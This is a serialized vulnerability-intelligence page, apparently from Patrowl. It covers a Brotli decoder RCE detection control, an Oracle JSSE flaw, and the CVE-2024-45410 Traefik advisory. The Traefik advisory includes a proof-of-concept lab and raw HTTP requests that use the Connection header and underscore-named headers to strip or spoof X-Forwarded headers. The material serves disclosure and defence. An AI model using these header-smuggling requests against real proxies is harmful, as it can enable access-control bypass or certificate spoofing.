[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2024-45410":30,"landing-articles":131},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":50,"technologies":52,"references":54,"score":61,"epss_score":62,"epss_percentile":63,"is_kev":64,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":65,"attack_mappings":75,"exploits":130},56328,"CVE-2024-45410","EUVD-2024-2723","HTTP client can manipulate custom HTTP headers that are added by Traefik\n\n### Impact\n\nThere is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For).\n\n### Patches\n\n- https:\u002F\u002Fgithub.com\u002Ftraefik\u002Ftraefik\u002Freleases\u002Ftag\u002Fv2.11.9\n- https:\u002F\u002Fgithub.com\u002Ftraefik\u002Ftraefik\u002Freleases\u002Ftag\u002Fv3.1.3\n\n### Workarounds\n\nNo workaround.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https:\u002F\u002Fgithub.com\u002Ftraefik\u002Ftraefik\u002Fissues).\n\n\u003Cdetails>\n\u003Csummary>Original Description\u003C\u002Fsummary>\n### Summary\n\nWhen a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified.\n\nFor HTTP\u002F1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP\u002F1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:\n\nConnection: close, X-Forwarded-Host\n\nDepending on how the receiving application handles such cases, security implications may arise. Moreover, some application frameworks (e.g. Django) first transform the \"-\" to \"_\" signs, making it possible for the HTTP client to even modify these headers in these cases.\n\nThis is similar to [CVE-2022-31813](https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2022-31813) for Apache HTTP Server.\n\n### Details\n\nIt was found that the following headers can be removed in this way (i.e. by specifing them within a connection header):\n\n- X-Forwarded-Host\n- X-Forwarded-Port\n- X-Forwarded-Proto\n- X-Forwarded-Server\n- X-Real-Ip\n- X-Forwarded-Tls-Client-Cert\n- X-Forwarded-Tls-Client-Cert-Info\n\n### PoC\n\nThe following docker-compose file has been used for a simple setup:\n\n```\nservices:\n  traefik:\n    image: traefik:v3.1\n    container_name: traefik\n    ports:\n      - \"443:443\"\n    volumes:\n      - \u002Fvar\u002Frun\u002Fdocker.sock:\u002Fvar\u002Frun\u002Fdocker.sock:ro\n      - .\u002Ftraefik.yaml:\u002Fetc\u002Ftraefik\u002Ftraefik.yaml\n      - .\u002Ftraefik-certs:\u002Fcerts\n\n  python-http:\n    build:\n      context: .\n      dockerfile: Dockerfile\n    container_name: python-http\n    labels:\n      - \"traefik.enable=true\"\n      - \"traefik.http.routers.python-http.rule=Host(`python.example.com`)\"\n      - \"traefik.http.routers.python-http.entrypoints=websecure\"\n      - \"traefik.http.routers.python-http.tls=true\"\n      - \"traefik.http.services.python-http.loadbalancer.server.port=8080\"\n```\n\nThe following traefik.yaml has been used:\n\n```\nproviders:\n  docker:\n    exposedByDefault: false\n    watch: true\n  file:\n    fileName: \u002Fetc\u002Ftraefik\u002Ftraefik.yaml\n    watch: true\n\nentryPoints:\n  websecure:\n    address: \":443\"\n\ntls:\n  certificates:\n    - certFile: \u002Fcerts\u002Fserver-cert.pem\n      keyFile: \u002Fcerts\u002Fserver-key.pem\n```\n\nThe Python container just includes a simple Python HTTP server that prints the HTTP headers it receives. Here is the Dockerfile for the container:\n\n```\nFROM python:3-alpine\n\n# Copy the Python script to the container\nCOPY server.py \u002Fserver.py\n\n# Set the working directory\nWORKDIR \u002F\n\n# Command to run the Python server\nCMD [\"python\", \"\u002Fserver.py\"]\n```\n\nAnd here is the Python script:\n\n```\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass RequestHandler(BaseHTTPRequestHandler):\n    def _send_response(self):\n        self.send_response(200)\n        self.send_header(\"Content-type\", \"text\u002Fplain\")\n        self.end_headers()\n        self.wfile.write(str(self.headers).encode(\"utf-8\"))\n\n    def do_GET(self):\n        self._send_response()\n\nif __name__ == \"__main__\":\n    server = HTTPServer(('0.0.0.0', 8080), RequestHandler)\n    print(\"Server started on port 8080\")\n    server.serve_forever()\n````\n\nThe environment is run with `sudo docker-compose up`.\n\nA normal HTTP request\u002Fresponse pair looks like this:\n\n**Request 1**\n\n````\nGET \u002F HTTP\u002F1.1\nHost: python.example.com\nUser-Agent: Mozilla\u002F5.0 (X11; Linux x86_64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F127.0.0.0 Safari\u002F537.36\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nConnection: close\n````\n\n**Response 1**\n\n````\nHTTP\u002F1.1 200 OK\nContent-Type: text\u002Fplain\nDate: Tue, 03 Sep 2024 06:53:49 GMT\nServer: BaseHTTP\u002F0.6 Python\u002F3.12.5\nConnection: close\nContent-Length: 556\n\nHost: python.example.com\nUser-Agent: Mozilla\u002F5.0 (X11; Linux x86_64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F127.0.0.0 Safari\u002F537.36\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX-Forwarded-For: 172.20.0.1\nX-Forwarded-Host: python.example.com\nX-Forwarded-Port: 443\nX-Forwarded-Proto: https\nX-Forwarded-Server: 3138fe4f0a2e\nX-Real-Ip: 172.20.0.1\n````\n\nThe custom headers added by Traefik can be seen in the response.\n\nNext, a request, where the X-Forwarded-Host header is defined as a hop-by-hop header via the Connection header is sent:\n\n**Request 2**\n\n````\nGET \u002F HTTP\u002F1.1\nHost: python.example.com\nUser-Agent: Mozilla\u002F5.0 (X11; Linux x86_64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F127.0.0.0 Safari\u002F537.36\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nConnection: close, X-Forwarded-Host\n````\n\n**Response 2**\n\n````\nHost: python.example.com\nUser-Agent: Mozilla\u002F5.0 (X11; Linux x86_64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F127.0.0.0 Safari\u002F537.36\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX-Forwarded-For: 172.20.0.1\nX-Forwarded-Port: 443\nX-Forwarded-Proto: https\nX-Forwarded-Server: 3138fe4f0a2e\nX-Real-Ip: 172.20.0.1\n````\n\nAs can be seen from the response, the X-Forwarded-Host header that had been added by Traefik has been removed from the request.\n\nMoreover, the next request\u002Fresponse pair demonstrates that a custom header with underscore instead of hyphen can be added:\n\n**Request 3**\n\n````\nGET \u002F HTTP\u002F1.1\nHost: python.example.com\nUser-Agent: Mozilla\u002F5.0 (X11; Linux x86_64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F127.0.0.0 Safari\u002F537.36\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX_Forwarded_Host: myhost\nConnection: close, X-Forwarded-Host\n````\n\n**Response 3**\n\n````\nHTTP\u002F1.1 200 OK\nContent-Type: text\u002Fplain\nDate: Tue, 03 Sep 2024 06:54:48 GMT\nServer: BaseHTTP\u002F0.6 Python\u002F3.12.5\nConnection: close\nContent-Length: 544\n\nHost: python.example.com\nUser-Agent: Mozilla\u002F5.0 (X11; Linux x86_64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F127.0.0.0 Safari\u002F537.36\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX-Forwarded-For: 172.20.0.1\nX-Forwarded-Port: 443\nX-Forwarded-Proto: https\nX-Forwarded-Server: 3138fe4f0a2e\nX-Real-Ip: 172.20.0.1\nX_forwarded_host: myhost\n````\n\nSome backend frameworks (e.g. Django) handle X-Forwarded-Host and X_forwarded_host in the same way. As there is no X-Forwarded-Host header present in the request, the X_forwarded_host header will be used. \n\nIt should be noted that when X-Forwarded-Host is present and a X_forwarded_host header is sent, usually the first occurence of the header will be used, which is in this case X-Forwarded-Host.\n\nIt should be noted that the headers X-Forwarded-Tls-Client-Cert and X-Forwarded-Tls-Client-Cert-Info are also affected. Here, client certificate authentication would need to be enabled in the Traefik setup.\n\n### Impact\n\nAll applications that trust the custom headers set by Traefik are affected by this vulnerability. As an example, assume that a backend application trusts Traefik to validate client certificates and trusts therefore the values that are sent within the X-Forwarded-Tls-Client-Cert header, but does not validate the certificate anew.\n\nIf the header is removed via the vulnerability, and the application framework allows for alternative names (e.g. by transforming the headers to lower case, and \"-\" to \"_\"), an attacker can place his own X_Forwarded_TLS_Client_Cert header in the request. This could lead to privilege escalation, as the attacker may put an (invalid) certificate in this header that would just be accepted by the application, but may contain other data than the certificate that is presented to Traefik for Client Certificate Authentication.\n\nMoreover, if the backend application uses any of the other custom headers for security-sensitive operations, the removal or modification of these headers may also security implications (e.g. access control bypass).\n\nThe severity is the same as for [CVE-2022-31813](https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2022-31813) for Apache HTTP Server, i.e. 9.8 Critical.\n\u003C\u002Fdetails>","2024-09-19T14:48:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":42,"userInteraction":44,"attackComplexity":45,"availabilityImpact":44,"privilegesRequired":44,"confidentialityImpact":44},"UNCHANGED","3.1",7.5,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:N","NONE","LOW",true,[48,49],"CWE-345","CWE-348",[51],"cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*",[53],"Traefik Traefik",[55,56,57,58,59,60],"https:\u002F\u002Fgithub.com\u002Ftraefik\u002Ftraefik\u002Freleases\u002Ftag\u002Fv2.11.9","https:\u002F\u002Fgithub.com\u002Ftraefik\u002Ftraefik\u002Freleases\u002Ftag\u002Fv3.1.3","https:\u002F\u002Fgithub.com\u002Ftraefik\u002Ftraefik\u002Fsecurity\u002Fadvisories\u002FGHSA-62c8-mh53-4cqv","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2024-45410","https:\u002F\u002Fgithub.com\u002Ftraefik\u002Ftraefik\u002Fcommit\u002F584144100524277829f26219baaab29a53b8134f","https:\u002F\u002Fgithub.com\u002Ftraefik\u002Ftraefik",0.57,0.01513,0.74302,false,{"timestamp":66,"automatable":67,"tech_impact":68,"exploitation":69,"cisa_decision":70,"cisa_remediation_timeline":74},"2024-09-20T14:58:01.711908Z","yes","total","none",{"vector":71,"decision":72,"priority":73},"CISAv1\u002FE:N\u002FA:Y\u002FT:T\u002FM:H\u002F2026-10-26T05:09:39.774601\u002F","attend","medium","3D",[76,82,91,99,106,114,122],{"name":77,"source":78,"tactics":79,"technique_id":81},"Exploit Public-Facing Application","attack_vector",[80],"initial-access","T1190",{"name":83,"source":84,"cwe_ids":85,"tactics":86,"capec_ids":88,"technique_id":90},"Exploitation for Stealth","capec",[48],[87],"stealth",[89],"CAPEC-665","T1211",{"name":92,"source":84,"cwe_ids":93,"tactics":94,"capec_ids":96,"technique_id":98},"Defacement",[48],[95],"impact",[97],"CAPEC-148","T1491",{"name":100,"source":84,"cwe_ids":101,"tactics":102,"capec_ids":104,"technique_id":105},"Component Firmware",[48],[103,87],"persistence",[89],"T1542.002",{"name":107,"source":84,"cwe_ids":108,"tactics":109,"capec_ids":112,"technique_id":113},"Modify Authentication Process",[48],[110,111,103],"credential-access","defense-impairment",[89],"T1556",{"name":115,"source":84,"cwe_ids":116,"tactics":117,"capec_ids":119,"technique_id":121},"ARP Cache Poisoning",[48,49],[118,110],"collection",[120],"CAPEC-141","T1557.002",{"name":123,"source":84,"cwe_ids":124,"tactics":125,"capec_ids":127,"technique_id":129},"DNS Server",[48,49],[126],"resource-development",[128],"CAPEC-142","T1584.002",[],{"count":132,"next":133,"previous":6,"results":134},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[135,143,151],{"id":136,"title":137,"summary":138,"published_at":139,"type":140,"link":141,"image_url":142},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":144,"title":145,"summary":146,"published_at":147,"type":148,"link":149,"image_url":150},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":152,"title":153,"summary":154,"published_at":155,"type":156,"link":157,"image_url":158},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]